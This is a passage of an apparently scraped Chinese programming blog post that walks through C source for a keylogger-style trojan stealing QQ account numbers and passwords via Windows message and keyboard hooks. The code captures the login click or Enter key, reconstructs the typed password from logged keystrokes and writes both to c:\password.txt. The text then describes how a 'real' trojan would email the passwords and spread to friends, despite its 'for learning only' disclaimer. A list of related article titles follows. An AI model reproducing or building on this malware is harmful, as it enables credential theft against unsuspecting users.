该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

}

else

{

// 卸载钩子

bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);

g_hProc = NULL;

g_hKey = NULL;

g_hNum = NULL;

}

return bRet;

}

上面是安装HOOK部分的代码,就这么简单,上面提到了CallWndProc,KeyboardProc是两个回调函数,是我第三部分要解释的钩子函数。

3,钩子函数的解释

CallWndProc,KeyboardProc是两个回调函数的原型和具体代码如下:

// 钩子过程,监视“登陆”的命令消息

LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)

{

CWPSTRUCT *p = (CWPSTRUCT *)lParam;

// 捕获“登陆”按钮

if (p->message == WM_COMMAND && p->wParam ==16032)

//下面个函数是我在第四部分介绍-“处理密码”部分会仔细说明

//当用户点了登陆按钮,说明QQ号码和QQ密码已经填写完毕,当然可以去获得密码了

GetPasswrod();

return CallNextHookEx(g_hProc, nCode, wParam, lParam);

}

// 键盘钩子过程,监视“登陆”的热键消息

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{

// 捕获热键消息,记录键盘的按键盘过程,pmsg是PMSG类型的,i是全局Static类型的

pmsg[i].wParam =wParam;

i++;

if (wParam == VK_RETURN) //用户使用键盘“回车”来登陆,用户用了回车后,就可以可以去获得密码了

GetPasswrod();

return CallNextHookEx(g_hKey, nCode, wParam, lParam);

}

在明白了这两个钩子函数后就可以看后期是如何具体处理密码的了,这就是下面的第四部分内容

处理密码

如果您读到了此处,我想得暂停一会,先让我来帮你回忆一下前面提到的几个关键的变量

第一个:QQ号的子窗口句柄 g_hNum

第二个:QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用,下面

第三个:存键盘按键的 pmsg

上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量

QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息

void GetPasswrod()

{

//声明变量和初始化

HANDLE f;

TCHAR num[13];

TCHAR psw[21];

TCHAR total[50];

int j;

memset(num,0,sizeof(num));

memset(total,0,sizeof(total));

memset(psw,0,sizeof(psw));

DWORD dw;

//得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的

GetWindowText(g_hNum,(LPSTR)num,sizeof(num));

//GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码

//提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码

for(j=0;j<20;j++)

{

psw[j]=(TCHAR)pmsg[j*2].wParam ;

}

psw[j+1]=’\0’;

//把QQ号码和QQ密码写入C盘password.txt中

f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

strcat(total,"号码");

strcat(total,num);

strcat(total,"密码:");

strcat(total,psw);

WriteFile(f,&total,sizeof(total),&dw,NULL);

CloseHandle(f);

}

最后在C盘password.txt也许会出现这样两种情况:

1)当QQ号是没有用输入,而已用的粘贴或者是电脑以前有记录则是:号码:21728812密码:TEST

2) 当QQ号是用的键盘输入,电脑没有QQ号记录时则是:号码:21728812密码:21728812TEST

可以看出,第2种情况把QQ当成了密码了,所以密码还得减去QQ号,

特别说明:我这样直接处理wParam参数,得到的字符密码全是大写的,具体大小写问题我没有就没有仔细去处理的,功能实现就行了,毕竟我使用他不用来盗密码的!

上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量,没有提到的函数 如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile() 等皆是Windows API,详细使用说明请查MSDN(http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,也许有的地方我说的钩子函 数,而另外一个地方说的是HOOK函数

按照“真正”的QQ“木马”来写,如:对QQ版本进行识别,密码自动发送到E-MAIL,加入QQ尾巴代码,使其自动传给好友的等功能,这里仅是向大家展示一下一些基本功能是怎么实现的,仅供学习。

安卓c语言hook,C语言hook技术实现木马功能-盗QQ密码相关推荐

  1. Windows Hook 易语言核心编程勾子基本理念

    前言    以前我非常沉迷入黑客,每每看着高手们发到网上的攻击检测程序 心中那个羡慕啊,要是那天我也能写出这样的程序该多好啊 可是,我也就只有羡慕的份,谁叫自己不懂英语呢,又没有中文的编程语言 直到有 ...

  2. elf hook c语言版本

    elf hook c语言版本 从网上 低端码农大哥处 http://blog.csdn.net/l173864930/article/details/40507359 下载而来, 为c++版本,编译也 ...

  3. HOOK(易语言高级部分)

    Hook API_HOOK核心代码 这里时绝对跳转 FF,同进程不用修改内存属性? 没有修改内存属性,照样可行 HOOK同进程MessageBoxA 未HOOK前 MessageBoxA HOOK后 ...

  4. android unity hook,[原创]Unity3d安卓游戏DLL动态调式与HOOK基础

    [原创]Unity3d安卓游戏DLL动态调式与HOOK基础 2016-4-4 02:40 8207 [原创]Unity3d安卓游戏DLL动态调式与HOOK基础 2016-4-4 02:40 8207 ...

  5. 安卓逆向_24( 一 ) --- Hook 框架 frida( Hook Java层 和 so层) )

    From:Hook 神器家族的 Frida 工具使用详解:https://blog.csdn.net/FlyPigYe/article/details/90258758 详解 Hook 框架 frid ...

  6. android unity hook,Unity3d安卓游戏DLL动态调式与HOOK基础

    本帖最后由 xiaoxin520 于 2016-4-4 02:27 编辑 本文作者七少月,文章中很多观点和技术手段为本人原创,转载请注明出处,由于本人技术水平有限,不当之处,还请斧正. 前言: 由于本 ...

  7. C语言多维数组本质技术推演

    C语言多维数组本质技术推演 多维数组本质技术推演 多维数组本质技术推演 int a[10];char myarray[3][5] PK int (*p)[5] myarray名称到底是什么? 多维数组 ...

  8. 为什么用java开发app_安卓开发为什么选择用Java语言

    最近几年,安卓应用开发一直处于长期增长的状态,安卓手机平台也是异军突起,甚至挑战了苹果在手机及平板系统的霸主地位,而今天安卓之所以能够有今天的成就,与之前选择用java语言开发有着莫大的关系.毕竟事实 ...

  9. C语言子程序调用的入口参数和出口参数,C语言与DOS系统接口技术

    C语言与DOS系统接口技术 C语言是中级语言,用C语言实现DCB系统功能调用接口较简单.本文介绍C语言与DOS系统接口实用技术的几个关键问 (本文共2页) 阅读全文>> 介绍了一种用CPL ...

  10. 用hook android 微信,【第一篇】【安卓微信】HOOK微信发消息,当HOOK遇上HOOK。

    前人栽树,后人吃桃. 准备入坑 安卓 xposed hook 微信(及时通信),好吧,第一步当然是论坛里面搜索啦,像掷骰子.计步器什么的都是小孩子过家家入门级别的,当然是要搞就搞(及时通信).微信 a ...

最新文章

  1. 024_jdbc-mysql的Dao模式
  2. VirtualBox 虚拟机转换为KVM虚拟机
  3. 【黑金ZYNQ7000系列原创视频教程】06.ZYNQ来自FPGA的中断——按键中断实验
  4. mysql使用 CONCAT(字段,字段) 函数拼接
  5. Oracle 分页与排序功能的4个查询语句
  6. photorec_如何在Linux / Ubuntu中使用PhotoRec恢复已删除的文件
  7. 本人账户登录计算机黑屏,电脑开机输入系统密码后就黑屏了,怎么办
  8. 邻接矩阵转换为邻接表;邻接表转换为邻接矩阵
  9. 遗传算法求解TSP问题python实现
  10. iTunes未能备份iPhone 多种详细解决方法
  11. 1934 贝茜放慢脚步(二路归并)
  12. 【网站】如何做一个自己的视频网站
  13. 徐荣谦《养好脾和肺 宝宝不积食不咳嗽长大个》【01】小儿常见病
  14. Python爬取王者荣耀全英雄全皮肤图片
  15. iOS 应用图标 屏幕尺寸
  16. Mysql外键作用和用法
  17. Vue响应式更新原理(个人总结)
  18. python学了两个月我就开始接单了
  19. Git学习笔记之使用git reset --hard回滚代码(回滚提交记录)
  20. 百度搜索引擎优化指南2.0

热门文章

  1. 如何用spss客户端和SPSS AU在线进行单样本T检验操作?
  2. 正确的座机号码格式_正确的填写手机号码的格式是什么?
  3. PMBOK(第六版) PMP笔记——《十二》第十二章(项目采购管理)
  4. 单片机蜂鸣器发出叮咚c语言程序,单片机门铃程序设计 按键按下触发蜂鸣器门铃“叮咚”响...
  5. 数学作图工具_非常实用的九个程序员工具网站
  6. 人脸识别的loss总结
  7. resnet152训练_ResNet改进版来了!可训练网络超过3000层!相同深度精度更高
  8. EasyClick 易点云测
  9. 传统与现代的邂逅——新中式景观设计
  10. 大数据入门教程,零基础3天快速入门大数据(2021贺岁篇)!